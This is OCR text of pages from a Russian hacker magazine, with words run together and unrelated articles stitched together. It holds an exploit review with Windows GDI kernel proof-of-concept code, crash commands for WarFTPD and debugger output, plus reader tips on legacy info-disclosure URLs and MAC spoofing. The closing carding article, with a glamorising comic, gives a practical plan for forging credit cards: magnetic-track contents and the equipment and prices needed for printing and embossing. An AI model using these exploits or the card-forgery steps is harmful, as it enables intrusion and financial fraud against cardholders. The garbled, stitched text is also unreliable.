implantМолекулярный штырь — основа механического нанокомпьютерамного параллельных процессов одновременно.И основная сила квантовых систем заключаетсяименно в этой параллельности протекающихв них процессов. Один простенькийкомпьютер «на квантах» будет в состоянииработать одновременно над неограниченнымколичеством задач.Связано это с фундаментальным устройствомнашего с тобой мира. Если заглянуть поглубжев мир квантов, то можно увидеть целыйскоп потенциально возможных состоянийсистемы кубитов, которые и будут использоватьсяпри расчете той или иной задачи.Это состояние называется «запутывание»(entanglement). Другая отличительная чертаквантовых компьютеров — явление квантовойтелепортации информации. Уже в 1993 годуученый Ч. Беннетт обнаружил, что теоретическивозможно использовать запутываниекубитов передачи информации (телепортации)неизвестного для отправителя A квантовогосостояния двухуровневой системы кполучателю B без реального перемещениясамого элемента!Эта мысль стала далее основной для развитияпринципиально нового метода секретнойпередачи информации. Перечень возможныхприложений запутанного состояния кубитовуже достаточно велик. Оно является однимиз корней ожидаемых успехов квантовыхвычислительных процессов, поскольку открываетпринципиально новые возможностикодирования информации.Для взлома тут, конечно, перспективы сумасшедшие— квантовый компьютер способенза мизерное время перебрать миллиардыкомбинаций. Да и не перебрать вовсе — онибудут просто находиться в нем «изначально»благодаря квантовому запутыванию.Кроме счетных устройств, квантовые системымогут использоваться в хранении данных.Причем в роли битов выступают отдельныеатомы. Недавно атомную стек-память представилиученые из Университета Бонна вГермания. С помощью двух направленных лазерныхлучей они создали обособленный рядиз отдельно стоящих атомов цезия. Для тогочтобы синтезировать такую экзотическуюструктуру, ученые должны были поймать и охладитьатомы цезия до субмилликельвиновыхтемператур в вакууме. Потом исследователямудалось выстроить их в одну горизонтальнуюлинию в волновой ловушке оптических диполей,образованной двумя лазерными лучами.Для того чтобы потом помещать или удалятьатомы из регистра, ученые использовалиоптический пинцет, сформированный другойпарой лазерных лучей в вертикальнойплоскости.Работа с атомами была похожа на конвейер:сначала их расставляли в горизонтальномнаправлении, затем подводили «сверху»вертикальный оптический пинцет и выдергивалинужные атомы, а уже потом ставили их надругую позицию в «сборочной линии».Теперь ученые корпят над построениемквантового транзистора, который смог бызаписывать информацию в атомный регистр.Насколько близко мы подошли к действующемуквантовому компьютеру? Прежде всегонеобходимо создать элементы проводников,памяти и логики. Затем эти простые элементынужно заставить взаимодействовать друг сдругом. После этого надо выстроить узлы вполноценные функциональные чипы и научитьсятиражировать их. По оценкам ученых,прототипы таких компьютеров могут появитьсяуже в 2005 году, а в 2015 — 2030 годыдолжно начаться их массовое производство.Что же дальше?По крайней мере лет 15 еще волноватьсяне стоит — все это время будет править балклассическая электроника с некоторымиухищрениями вроде «многоножки» илинанотрубочных транзисторов. Но уже черезлет 20 — 30 элементная база может существенноизмениться. Квантовые компьютеры,правда, в быту начнут использоваться нераньше чем через 30 лет, в то время какнаномеханика может появиться уже черездесятилетие.Скорее всего, благодаря альтернативнымподходам в микроэлектронике произойдеттехнологический скачок с тысячекратнымувеличением мощности компьютеров.Если хотя бы на каком-нибудь из вышеуказанныхнаправлений удастся добитьсяуспеха, то компьютеры могут стать вообщеповсеместно используемыми. А если такихуспешных направлений будет несколько, тоони распределятся по разным нишам. Например,квантовые компьютеры будут специализироватьсяна шифровании и поискев крупных массивах данных, молекулярные— на микромашинах и управлении производственнымипроцессами, а оптические иэлектронные — на средствах связи.В нашем веке мы с тобой будем свидетелямитого, как вычислительная техника сольется нетолько со средствами связи и машиностроением,но и с нашими телами, что откроет такиевозможности, как создание искусственныхимплантантов, интеллектуальных тканей,разумных машин, «живых» компьютеров ичеловеко-машинных гибридов.Термин «квантовый скачок» означает, что вквантовом мире изменения происходят непостепенно, а скачками. Похоже, что где-тооколо 2020 года, если не раньше, подобныйскачок произойдет и в вычислительнойтехнике: к тому времени мы перейдем от традиционныхкремниевых полупроводников кболее совершенным технологиям, благо наработокмного, и они уже готовят фундаментдля электроники нового поколения. zxàêåð 12/96/ 06/059


взломБолее ранние версии WarFTP неуязвимыWarFTPD: отказ в обслуживании черезformat stringBriefЭто древний (или, скорее, исторический),могучий, не требовательный к ресурсам ик тому же абсолютно бесплатный ftp-сервер,созданный норвежским парнем поимени Jarle Aase (Ярле Осэ). Он очень частоиспользуется в качестве ftp-серверов длядомашних сетей, один из которых стоит уменя дома (ftp://nezumi.org.ru), раздаваяв часы пик десятки тысяч файлов в день.Вот только падает иногда. В причинах этихпадений разобрался испанский хакерJoxean Koret (joxeankoret perro yahoo puntoes), выяснивший, что при попытке обработкиаргумента, содержащего спецификатор %s,сервер вываливается по ошибке доступана инструкции 431540h MOV CL, [EAX],очевидно, вылетающей за границы строки,не заканчивающейся нулем. Возможностьзасылки shell-кода крайне сомнительна, ноее нельзя исключать на все 100%. Ошибкеподвержены следующие ftp-команды: CWD,CDUP, DELE, NLST, LIST и SIZE. Подробностисмотри на www.securityfocus.com/bid/20944.TargetsWar FTP Daemon 1.82, 1.82.00-RC11.ExploitsДля сокрушения сервера ему достаточнопередать команду cdup %s*256, однакоследует помнить, что это команда сервера,а не клиента! В частности, ms ftp.exe такойкоманды в своем арсенале не имеет и тупоговорит: «Недопустимая команда». Приходитсяиспользовать telnet.Готовый exploit с комментариями можнонайти на www.forbiddenweb.org/topic/129579/index.html.SolutionБолее ранние версии (например, WarFTPd1.82.00-RC10 от 25 января 2005 года) не имеютэтой дыры, поэтому до выхода официальнойзаплатки рекомендуется использоватьих.Kaspersky VIRUS 6.0AVP: локальное повышение текущегоуровня привилегийBriefИзвестный антивирус Евгения Касперского(еще раз прошу не путать эту личностьсо мной) неожиданно оказался вирусом!Ошибка проектирования в движке перехватчикаNDIS-TDI-запросов (и на чертаантивирусу лезть в NDIS, это же не брандмауэркакой-то?) привела к возможностипередачи некорректных параметров изадресного пространства в ядро с захватомядерных привилегий, ошибочно классифицированныхна security focus как SYSTEM(смотри securityfocus.com/bid/20635). Дляреализации атаки достаточно передатьустройству KLIN или KLICK (соответствующихдрайверам KLIN.SYS и KLICK.SYS)IOCTL-код с номером 80052110h, а вместе сним — указатель на специальным образомсконструированный IRP-пакет с shell-кодомна борту. Честь открытия дыры принадлежит24-летнему испанскому хакеру, владельцууникального ресурса www.reversemode.comпо прозвищу Ruben Santamarta, рапортовавшемуо проблеме в компанию iDefense Labs(labs.idefense.com/intelligence/vulnerabilities/display.php?id=425) и очень обижающемуся,когда его принимают за японца. В одном изсвоих exploit'ов он прямо так и написал: «IAM NOT Japanese :P». Кстати, аналогичнаяошибка была обнаружена в драйвереSAVRT.SYS от Symantec AntiVirus версий 8x-9x.TargetsKaspersky Internet Security 6.0, Anti-VirusPersonal Pro 5.0, Anti-Virus Personal 5.0, Anti-Virus for Windows Workstation 5.0, Anti-Virus 6.0.ExploitsAVP-KLICK-80052110.c, AVP-KLIN-80052110.cи 20635.c на securityfocus.com. Первые двавызывают крах антивируса, а последнийпередает на нулевое кольцо shell-код).Solution«Лаборатория Касперского» уже подсуетиласьи выпустила обновление (www.kaspersky.com/technews?id=203038678).Помимо дыр в пластмассовом корпусе,у этого красавчика полно багов в микропрограммнойпрошивкеD-Link DSL-G624T: неавторизованныйдоступBriefЕще в одном аппаратном устройстве обнаруженцелый комплекс дыр. На этот разим стал четырехпортовый беспроводнойDSL-модем/маршрутизатор с брандмауэромв одном флаконе DSL-G624T от нехилойфирмы D-LINK, «распотрошенный»испанским хакером по кличке Jose RamonPalanco (jose.palanco perro eazel punto es).Он специализируется на взломе железа ивладеет ресурсом www.eazel.es, на которомможно найти много полезной информациипо атакам на ZyXEL'и, например. Это ужевторой испанец в этом обзоре, что на фонеупорных занятий испанским языком выглядитвесьма странно. О самом модеме можнопрочитать на www.dlink.co.uk. Он подвержентрем основным угрозам:1. просмотру каталогов черезконструкцию /./.;2. перекрестному скриптингу(cross site scripting);3. просмотру содержимогодиректории cgi-bin.TargetD-Link DSL-G624T V3.00B01T01.YA-C.200.ExploitsПримеры готовых exploit'ов, реализующихвсе 3 типа атак, лежат на www.securityfocus.com/archive/1/449486.SolutionПроизводитель (D-LINK) еще не выпустилобновленной версии прошивки, и неизвестно,выпустит ли он ее в дальнейшем. Поэтомуот использования этого оборудованиярекомендуется воздержаться.xàêåð 12/96/ 06/ 061


взломПовышение привилегий через дыру вGDI-подсистемеBriefПросто поразительно, как гиганты компьютернойиндустрии реагируют на сообщенияоб ошибках, которые они не могут исправить.22 октября 2004 года основатель группыArgeniss Information Security и ее CEO в одномлице — Cesar Cerrudo обнаружил серьезнейшуюошибку в Windows, о чем тут же сообщилв Microsoft. Но та продолжила выпускатьдырявые операционные системы, а для ужесуществующей заплатка отсутствует и по сейдень. Оскорбленный Argeniss Research Teamобнародовал информацию об уязвимостивместе с proof-of-concept exploit'ом на своемсервере www.argeniss.com, откуда она просочиласьна www.securityfocus.com/bid/20940.И вновь испанский рулит: штаб-квартираArgeniss'a расположена в Буэнос-Айресе, всамом сердце Аргентины! Но это все лирика.Переходим непосредственно к сути дела.Данные подсистемы GDI (реализованной, какизвестно, в ядре) проецируются на адресноепространство всякого GDI-процесса в специальнуюсекцию, доступную только на чтение.Однако система не препятствует ремапингусекции с атрибутами чтения/записи, чтопозволяет любому локальному пользователюпроникнуть на уровень ядра (а вовсе не ограничитьсясистемными привилегиями, как этоошибочно полагают парни с security-focus'а).TargetsПо заявлению Argeniss Research Team, уязвимостиподвержены W2K (до W2K SP4) и XP (до/ 062XP S2) и не подвержены Server 2003 и Vista beta 2.Парни с security-focus'а с ними не совсемсогласны и добавляют к списку уязвимыхсистем 2000 Server (до 2000 Server SP4), 2000Datacenter Server SP4, 2000 Advanced ServerSP4, XP x64 и XP 64-bit 2003 SP1. Не говоря уже отакой мелочи, как XP Tablet PC и XP Media Centerсо всеми установленными сервис-паками.ExploitИсходный код exploit'а, составленный наприплюснутом Си двумя другими членамигруппы — LMH (lmh[at]info-pull.com) и MoKB,лежит на projects.info-pull.com/mokb/bugfiles/GDIKernelPoC.cpp.Но прежде чем егоудастся откомпилировать командойcl.exe GDIKernelPoC.cpp, придется взять в рукинапильник и провести небольшую «косметическую»доработку, а именно заменитькавычки вокруг включаемых файлов windows.hи stdio.h угловыми скобками.SolutionОфициальной заплатки от Microsoft до сих порнет, и все, что нам остается, — это мигрироватьна Sever 2003 или Vista, в которых огрехипроектирования без лишнего шума былиустранены (но, как известно, исправляя однуошибку, Microsoft добавляет десяток новых;Vista — это не вариант, а вот над переходом наServer 2003 можно подумать).DiscloseТо, что GDI- и USER-подсистемы NT являютсяодной большой дырой, — известно еще давно.На дефектах проектирования механизма диспетчеризациисообщений основан целый рядатак, позволяющий хакеру манипулироватьэлементами управления более привилегированныхприложений (например, отключатьнастройки антивирусов и брандмауэров) илидаже засылать shell-код в строку редактирования,устанавливая на нее таймер, срабатывающийв контексте привилегированногоприложения!В NT 3.51 графическая подсистема исполняласьна уровне пользователя, в связи счем большинству API-функций приходилосьсовершать множество переходов из него в режимядра. Из-за этого все очень сильно тормозило,и Microsoft пришлось перенести USER- иGDI-подсистемы внутрь ядра, поместив их вдрайвер win32k.sys, что вызвало естественныйвопрос о том, не пострадала ли стабильностьWindows 2000 от такой операции. Книга «Insidefor Windows 2000 Microsoft» (своеобразная«библия» по NT, написанная Хелен Кастер,а затем переизданная под именами ДэвидаСоломона и Марка Руссиновича) гласит:«Некоторые интересуются, не повлияет лина стабильность системы перевод такойзначительной части кода в режим ядра. Нориск снижения стабильности системы минимален...Так что в Windows 2000 ошибки, вроденарушения доступа в том же коде, тольковыполняемом в режиме ядра, просто быстрееприводят к краху — исключения в режимеядра требуют прекращения работы системы.Правда теоретически появляется другаяопасность. Поскольку этот код выполняется врежиме ядра, ошибка (например, применениеневерного указателя) может повредить защищенныеструктуры данных режима ядра. ДоWindows NT 4 это могло привести к нарушениюxàêåð 12/96/ 06


взломДоработка оригинального exploit'а до компилируемого состоянияГлавная страничка компании ArgenissInformation Securityдоступа, так как запись в страницы режимаядра из пользовательского режима не разрешается.Но результатом стал бы крах системы.Теперь же при выполнении кода в режимеядра запись на какую-либо страницу памяти поневерному указателю не обязательно вызоветнемедленный крах системы. Но если при этомбудут повреждены какие-то структуры данных,он скорее всего произойдет. Тем не менее,возникает риск, что из-за такого указателябудет повреждена не структура данных, абуфер памяти, и это приведет к возврату пользовательскойпрограмме или записи на дискневерных данных. В заключение отметим, чтоповышение производительности в результатеперевода диспетчера окон и GDI из пользовательскогорежима в режим ядра достигнутобез сколько-нибудь значимого снижениястабильности и надежности системы».Как видно, утверждение о «безопасности»переноса GDI внутрь ядра базируется напредположении, что «в GDI ошибок нет», принимаемомза постулат. Но это не верно. Однаиз таких ошибок в GDI как раз и позволилапроникнуть в ядро с прикладного уровня.Операционные системы семейства NTвплоть до Server 2003 (и основанной на егоядре Висте), отображали ядерные структурыподсистемы GDI на объект-секцию (не путатьс секциями PE-файла). Все они находятся вглобальной разделяемой памяти (global sharedmemory section), автоматически создаваемойсистемой для любого процесса, использующегообъекты GDI, к которым принадлежат всеGUI-приложения. USER является всего лишьнадстройкой над GDI.Система проецирует секцию на адресное пространствопроцесса с атрибутами read only,однако никак не догадывается, что пользователюпридет в голову создать ре-проекциюGDI-секции, наделив ее любыми атрибутами,какими только душа пожелает (например,writable и executeable), в результате чего у негопоявляется возможность напрямую модифицироватьданные ядра! И все это — даже безправ администратора! Обладая правами администратора,можно просто загрузить драйвери не мучиться, правда в 64-битной редакцииВисты это уже не так. Там для загрузки драйвера,помимо администраторских полномочий,требуется еще и цифровая подпись.Самое простое (но не самое умное), что можносделать, — это загадить GDI-секцию всякиммусором, и тогда система немедленно рухнет,высвечивая знаменитый голубой экран.Однако при желании можно пойти дальше ипередать управление на свой shell-код, выполняющийсяв нулевом кольце.Рассмотрим структуру GDITableEntry, совокупностькоторых и образует GDI-секцию,подлежащую хаку:Структура GDITableEntrytypedef struct{DWORD pKernelInfo;WORD ProcessID;WORD _ nCount;WORD nUpper;WORD nType;DWORD pUserInfo;} GDITableEntry;xàêåð 12/96/ 06/063


взломДизассемблирование функции HmgIncrementShareReferenceCount в IDA ProРезультат работы встроенного анализатора дампа памятиМы видим пару интригующих нас элементов— pUserInfo и pKernelInfo, представляющихсобой указатели на пользовательскиеданные и данные режима ядра соответственно.Вот они-то и дают ключ к воздействуюна память ядра из прикладного адресногопространства. Но прежде чем двигатьсядальше, изучим код exploit'а, имеющийся внашем распоряжении и вызывающий BSOD.Для наглядности (и экономии бумажного пространства)он приведен со значительнымисокращениями, акцентирующими алгоритмего работы и отправляющими все несущественныемелочи в /dev/null.Exploit от Argeniss Research Team всокращенном вариантеtypedef struct _ SECTION _ BASIC _INFORMATION{ULONG d000;ULONG SectionAttributes;LARGE _ INTEGER SectionSize;} SECTION _ BASIC _ INFORMATION;// объявляем функцию обратного вызовадля NtQuerySectiontypedef DWORD (CALLBACK*NTQUERYSECTION) (HANDLE, DWORD,PVOID,DWORD,DWORD*);int main(int argc, char* argv[]){// дескриптор мап-файлаHANDLE hMapFile = 0x10;// вызываем CreateWindow,// чтобы система создала GDI-секцию// в адресном пространстве нашего// процессаhWin = CreateWindow(0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0);while(!lpMapAddress){hMapFile = hMapFile+1;lpMapAddress=MapViewOfFile(hMapFile,FILE _ MAP _ ALL _ ACCESS,0,0,0);}// перечисляем все секции// нашего процессаNtQuerySect=GetProcAddress(LoadLibrary("Ntdll.dll"),"NtQuerySection");NtQuerySection(hMapFile, 0,&buff, sizeof(buff), 0);gdiTable = (GDITableEntry*)lpMapAddress;// записываем в GDI-table// всякий мусорfor (i=0;i _ nCount = 0x5858;gdiTable->nType = 0x5858;gdiTable->nUpper = 0x5858;gdiTable->ProcessID = 0x5858;gdiTable->pKernelInfo =0x58585858;gdiTable->pUserInfo =0x58585858;gdiTable++;}}Компилируем код и запускаем на выполнение(лучше на виртуальной машине, чтобы вслучае чего не порушить основную систему),предварительно переключив машинув режим сохранения полного дампа (Мойкомпьютер -> Свойства -> Дополнительно ->Загрузка и восстановление -> Запись отладочнойинформации -> Полный дамп памяти).Говорим «ОК» и перезагружаемся. Запускаемранее откомпилированный exploit. Есливсе прошло успешно, то через несколькосекунд система падает в голубой экран.Обладая дампом памяти, мы сможем разобраться,в каком именно месте происходитисключение, как обрабатываются указателии что необходимо предпринять для подготовкиshell-кода к засылке и выполнению.Для анализа дампа нам понадобятся отладчикMicrosoft — i386kd.exe или его графическийаналог — windbg.exe, входящиев состав как «слоноподобного» NTDDK,так и компактного Debugging Tools forWindows, бесплатно распространяемогоMicrosoft (www.microsoft.com/whdc/devtools/debugging/installx86.mspx) и занимающегопорядка 15 Мб. Кстати говоря, это оченьхорошие отладчики с богатыми возможностямии шикарными расширениями, оставляющимиSoftICE далеко позади себя в планефункциональности. Так плагин logexts.dllпозволяет вести мониторинг API-функций,а rpcexts.dll — RPC-вызовов. Но сейчас намэти возможности не понадобятся, зато потребуютсяотладочные символы. Их можноскачать со специального сервера Microsoft,достаточно лишь создать командный файлследующего содержания:Командный файл, запускающий отладчикдля анализа дампа памятиSET _ NT _ SYMBOL _ PATH=SRV*С:\TEMP*http://msdl.microsoft.com/download/symbolsrem i386kd -z C:\WINNT\memory.dmprem windbg -z C:\WINNT\memory.dmpЗдесь C:\TEMP — каталог, куда будут складыватьсяотладочные символы, автоматическискачиваемые отладчиком из сети; C:\WINNT\memory.dmp — путь к файлу дампа;REM позволяет выбирать между консольными графическим отладчиком по своему предпочтению.После загрузки дампа памяти вотладчик его окно будет выглядеть приблизительнотак, как показано на скриншоте(раскладка окон должна настраиватьсякаждым пользователем индивидуально, в соответствиис его вкусами и потребностями).Для выдачи дополнительной информацииwindbg предлагает нам ввести команду!analyze –v. Что ж, нас не нужно проситьдважды. Вводим ее в командой строке, и видотладчика тут же преображается./ 064xàêåð 12/96/ 06


взломГолубой экран смерти, появляющийся благодаря успешной работе exploit'а GDIKernelPoC.cppКурсор дизассемблерного листинга останавливаетсястрокой ниже nt!KeBugCheckEx, ничегоне говоря нам об истинной локации сбоя.А вот командное окно говорит. Прокручиваемего мышью и видим:Истинное место сбоя по данным встроенногоанализа дамповFAULTING _ IP:win32k!HmgIncrementShareReferenceCount+37a0016b8e ff4004 inc dword ptr[eax+0x4]Вот это уже ближе к телу! На самом деле сбойпроизошел в функции HmgIncrementShareReferenceCount, находящейся внутри драйвераwin32k.sys по смещению 37h байт от ее начала,где оказалась команда inc dword ptr [eax+4h].Но каким образом данные попали туда и как наних можно воздействовать? Чтобы отрыть истину,у нас есть 2 пути — загрузить win32k.sysв IDA Pro и дизассемблировать HmgIncrementShareReferenceCount или же установитьна HmgIncrementShareReferenceCount точкуостанова и, вновь запустив exploit, начатьтрассировать ее, разбираясь, каким именнообразом она «перерабатывает» данныесекции GDI. Для этого нам понадобится любойотладчик ядра — SoftICE или Microsoft i386kd,однако последний требует для отладки сразудве машины, соединенные COM-шнурком.Впрочем, одна из них может быть и виртуальной.VMWare позволяет пихать COM-порт вpipe, упрощая отладку.Основные принципы отладки описаны в «Техникеотладки программ без исходных текстов»,которую можно слить с моего ftp, написавпервый exploit, который не грохает систему, аделает что-то полезное. zxàêåð 12/96/ 06/065


взломИван СкляроВfaq you faqing faq3sklyaroff@mail.ruwww.sklyaroff.ruPQ: Какие e-zine посоветуешь почитать и где их можноскачать?A: Никаких новых ярких электронных журналов сейчас нет ниу нас, ни на Западе. Из авторитетных «старичков» назовуанглоязычные Phrack, 29A, Codebreakers, RRLF, b4b0, b0g,40HEX, asmjournal, vlad. На русском можно выделить Night Fall,x25zine, xaoc, RING0, Infected Voice, Defaced, FDS, ZemskiyFershal, CodePimps, Mazafaka.Ru E-zine. Все эти, а также сотнидругих e-zine на русском и английском языках ты можешьскачать с моего сайта www.sklyaroff.ru.PPQ: При сканировании сайтов на наличие дырок, практическив 90% случаев сканеры находят урлы такого содержания:http://bugsite.com/? PageServices, ../? wp-cs-dump,../__vti_inf.html, но в большинстве случаев при обращениипо этим ссылкам происходит редирект на главнуюстраницу. В чем же заключается уязвимость этих строк,которые сканер выплевывает практически на первыхсекундах?A: За описаниями уязвимостей нужно обращаться в багтрак,например www.securityfocus.com, или к обычному поисковику.Но тебе, видимо, было лень, поэтому я сделал это за тебя ис помощью www.google.ru обнаружил следующее. Команда/?Pageservices адекватно принимается только следующимиверсиями серверов: Netscape Enterprise 2.01, NetscapeCommerce 1.12, Oracle Web Listener 4.0.6.2.0 Enterprise Edition,Apache 1.2.1, Apache 1.2.5, Apache/1.3.1 (Unix) mod_perl/1.15,Apache/1.2.6, Domino Go Webserver 4.6. При вызове любогопути на этих серверах с данным параметром, ты увидишьсодержимое папок.PНа устаревших серверах Netscape Enterprise Server подписьк основному урлу одной из нижеприведенных строк давалавозможность просматривать списки файлов.Хитрые строки Netscape?wp-cs-dump?wp-ver-info?wp-html-rend?wp-usr-prop?wp-ver-diff?wp-verify-link?wp-start-ver?wp-stop-ver?wp-uncheckoutPPОбращением к файлу /__vti_inf.html можно было просмотретьконфигурационную информацию и определить устаревшуюверсию FrontPage, что в дальнейшем позволяло осуществитьвзлом.Как видишь, все перечисленные тобой пути относятся к устаревшимверсиям программного обеспечения, поэтому тыможешь смело убрать их из базы данных уязвимостей твоегосканера безопасности.Q: Как поменять MAC-адрес на сетевухе?A: Ты не указал операционную систему, поэтому я расскажу, какпоменять MAC-адрес во всех основных осях. В Linux MAC-адресможно изменить с помощью стандартной утилиты ifconfigс указанием опции hw class address. После ключевого словаhw необходимо указать имя класса оборудования, а такжеMAC-адрес в текстовом виде. В настоящее время поддерживаетсяоборудование классов ether (Ethernet), ax25 (AMPRAX.25), ARCnet и netrom (AMPR NET/ROM). Перед изменениемаппаратного адреса необходимо отключить интерфейс опциейdown. Ниже приведен пример изменения MAC-адреса наинтерфейсе eth0:# ifconfig eth0 down# ifconfig eth0 hw ether 13:13:13:13:13:13# ifconfig eth0 upВ BSD это делается аналогично, только в BSD'шном вариантеifconfig нет опции hw, поэтому достаточно только указать классустройств и адрес. В результате команда такая:# ifconfig ed0 down# ifconfig ed0 ether 13:13:13:13:13:13# ifconfig ed0 up/ 066xàêåð 12/96/ 06


взломВ Windows 2000/XP предусмотрена возможность смены MACадресачерез реестр (regedit32), но удобнее воспользоватьсясторонними утилитами, такими как Smac (www.klcconsulting.net/smac) или Etherchange (http://ntsecurity.nu/toolbox/etherchange). В ряде случаев MAC-адресможно изменить в опциях сетевой карточки.для последующего использования (чтобы по заголовкупонять, что за инфа внутри). По умолчанию uuencode кодируетUUE-методом, но, указав флаг -m можно воспользоватьсяи base64. Декодируем следующим образом:# uudecode имя _ файлаPQ: В электронном журнале Phrack во многих статьяхвстречаются коды файлов в таком формате:begin 600 rexec-0.8.5.tar.gzM'XL (6RYT^P\85/;2++[U? H5'8[-R6`;&QOR*@[L$>)


взломЛеонид «R0id» Стройков/ r0id@mail.ru /кардер иван петров, известный на хакерскихфорумах как Mc'carder, по обыкновению наелсягрибов псилоцибов и мучался от страшныхгаллюцинаций.Подумай, сколько бабла ты можешь поднять.Просто засунь меня в банкомат!Возьми меня!Здесь и сейчас!сколько Ваня не сопротивлялся карточке, онавзяла свое и заставила неопытного кардеразаняться грязным шопингом.Покупай! ПокупаЙ!Больше! Все бесплатно!Беру это и вообщевсе, что есть!К вечеру иван сдружился с картой.а по TV показывали криминальныесводки.«Cегодня В 19-45 в торговом центре"Пездряков и партнеры" неизвестныйкардер купил женских платьевна $100 000. Личность выясняется...Кстати, только что составилифоторобот».Чертовы грибы! Вотмазафака!сразу после того, как иванаотпустило, он понял, как попал.И нахренамне 150платьев?!Оружие, выстрелы, кровь — все это еще в недалеком прошлом являлось непременным атрибутом ограбленийбанков и инкассаторов. С появлением кредитных карт и развитием кардинга все изменилось. Теперь не нужноврываться в банк с автоматом в руках и требовать наличные. Достаточно получить доступ к банковскому аккаунтукардхолдера и вывести его деньги со счета. Сделать это можно несколькими способами, одним из которыхявляются поддельные кредитки, или «белый пластик».Чем живут реальные кардерыТемная сторонабелого пластикаСтандартизация пластиковых картачинать работать, не имеяН понятия о том, что собой представляютпластиковые карты,невозможно. Поэтому — обовсем по порядку. Ты, наверное, знаешь, чтокарточки бывают разные (с магнитной полосой,чиповые, БСК, и т.д.). В общем виде ихможно классифицировать по методам записии обработки данных:1. карты с магнитной полосой (магнитные карты);2. карты со встроенной микросхемой (контактныеи бесконтактные чиповые карты);/ 0683. карты со штриховым кодом (штрихкодовыекарты);4. эмбоссированные/печатные карты (с нанесеннойинформацией методом тиснения илитермопечати).Реального кардера обычно интересуютмагнитные и чиповые карты, так как именноони используются платежными системами.Размер карточек носит название ID-1 исоставляет 85,6х53,98х0,76 мм. Лицеваясторона карты — аверс, на ней могут располагатьсячип, информация о банке-эмитенте,номер карты и логотип платежной системы.На обратной стороне — реверсе — обычнонаходится магнитная полоса и полоса дляподписи. Зоны тиснения информации такжезакреплены стандартами. Например, строкас идентификационным номером располагаетсяна уровне 20 мм от нижнего края картыи не может превышать 19-ти символов. Подней находится зона для нанесения данныхкардхолдера (владельца карточки) и ExpireDate (срока окончания действия карты).Кроме тиснения, применяется термопечать— печать на карте методом термодиффузии(при нанесении логотипов). Информацию, за-xàêåð 12 /96/ 06


взломПродажа дампов на одном из кардерских форумов Программа для работы с энкодеромфиксированную таким образом, практическиневозможно стереть.Коротко о чиповых картахБыло бы несправедливо не упомянуть встатье о чиповых картах, так как они широкоиспользуются российскими банками. Такиекарты делятся на 2 типа:1. контактные чиповые карты;2. бесконтактные чиповые карты.Контактные карты содержат на аверсе(лицевой стороне) «карман» для расположениячипа. На сам чип-модуль наноситсяспециальный клей, после чего микросхемавклеивается в «карман». Чип представляетсобой микрокомпьютер, который обрабатываетпоступающие команды (поэтому такиекарты и называют смарт-картами). В немреализована защищенная область памяти,информация в которой кодируется секретнымиключами. Технология производствачипов постоянно совершенствуется. Чтокасается БСК (бесконтактных чиповых карт),то внутри, по их периметру, расположенаантенна, которая позволяет картам обмениватьсяданными с картридером при помощирадиочастот. Сразу скажу, что в статье я небуду описывать способы подделки чиповыхкарт, так как основная мишень реал-кардинга— магнитные карты.Тайна магнитной полосыНадо отметить, что 90% международных платежныхсистем используют карты с магнитнойполосой. На них я и остановлюсь подробнее.Магнитная полоса располагается на расстоянии5,5 мм от верхнего края обратной стороныкарты и может содержать 2 — 3 дорожки.Ширина полосы зависит от числа дорожек исоставляет 6,4 мм при двух дорожках и10,3 мм при трех. Как ты понял, вся информация,необходимая для совершения финансовыхопераций, находится на магнитной полосе.Теперь рассмотрим каждую из трех дорожек.Первая дорожка включает буквенно-цифровуюинформацию. На ней помещается до 79 символов.Дорожка содержит следующие данные:идентификационный номер — до 19 цифр;код страны — 3 цифры;ФИО кардхолдера (владельца карты) — отдвух до 26 знаков;Expire Date (дата истечения срока действиякарты) — 4 цифры;служебный код — 3 цифры;информация эмитента — оставшиеся цифры.На второй дорожке располагается толькоцифровая информация, кодируемая двоичнодесятичнымкодом. Всего на дорожке можетбыть до 39 символов. Вторая дорожка дублируетинформацию первой, за исключениемданных о кардхолдере.Третья дорожка является необязательной.Она содержит цифровую информацию икодируется аналогично первой дорожке.Максимальное число символов на дорожке— 107. Ты спросишь: «Зачем нам всеэто нужно?» Ответ прост: реальный кардерможет самостоятельно записывать данные надорожки магнитной карты. Но об этом далее.Реал-кардинг, или делаем деньгиКак говорится, перейдем от теориик практике :). Все действия реального кардераможно распределить в соответствии соследующим планом:1. подделка пластиковой карты (нанесениетиснения, логотипов платежных систем— одним словом, придание куску пластикатоварного вида =));2. запись данных на магнитную полосу;3 обналичивание/шопинг (то, для чего необходимывышестоящие действия).Начну с первого пункта. Здесь кардерунеобходимо определиться с расходнымиматериалами. Если он собирается налитьденьги через банкоматы, то ему достаточнобелого пластика с магнитной полоской, а еслипланирует заняться шопингом, то ему ужепотребуется качественно сделанная кредиткас элементами термопечати и тиснения. Второйвариант я рассмотрю подробнее, так как, хотяон и связан с трудоемкий процессом изготовления,но на выходе предполагает полноценный,готовый к употреблению продукт =).Сразу скажу, что для открытия собственной«лаборатории» по производству картона(кредитных карт) преступнику нужны будутопределенные денежные вложения, которые,впрочем, окупятся при умелом подходе.Первая жизненно необходимая вещь — этопластик с впаянной магнитной полосой.Приобрести его сейчас не проблема.Наиболее распространенный тип пластика— CR-80. Также для грязных дел необходимкачественный принтер, с помощью которогона пластик будут наноситься печатный текст иэмблемы. Выбору принтера реальный кардеруделяет особое внимание, так как от негонапрямую зависит внешний вид картонки. Вкачестве примера назову Eltron P210i, которыйиспользуется для печати удостоверений,пропусков и т.д. Он подходит для одностороннейпечати без полей и почти идеально штампуеткарты с разрешением 300 dpi. ТакжеEltron P210i позволяет наносить штрихкоды,фотографии, графику и текст. Правда стоитон около $2000, но это не помеха, так как всезатраты начинающего кардера, как былосказано выше, окупаемы.Следующий шаг — «выдавливание» на картеинициалов кардхолдеров, банка-эмитента,номера карты и т.д. Для этого существуетэмбоссер. Один из вариантов — Matica Z1,имеющий компактный размер и способныйвыпускать до 600 карт в сутки. Стоимостьэтого агрегата составляет порядка $3500.Для того чтобы окрасить эмбоссированныесимволы на карте, нужен типпер. Наиболеехарактерный выбор — Matica Z Tipper,который всего за несколько секунд придасткартонке подобающий вид. Цена подобноготиппера колеблется в пределах $1600. Кромеэмбоссирования, типпинга и печати, на картутребуется нанести голограмму и полосу дляподписи. Последняя, сделанная из особойбумаги, клеится на обратной стороне креды.На ней обязательно ставится подпись (поидее, владельца креды =)), без которой картасчитается недействительной. Что касаетсяголограммы, то тут дело обстоит несколькосложнее. Оригинальную голограмму прак-xàêåð 12 /96/ 06/069


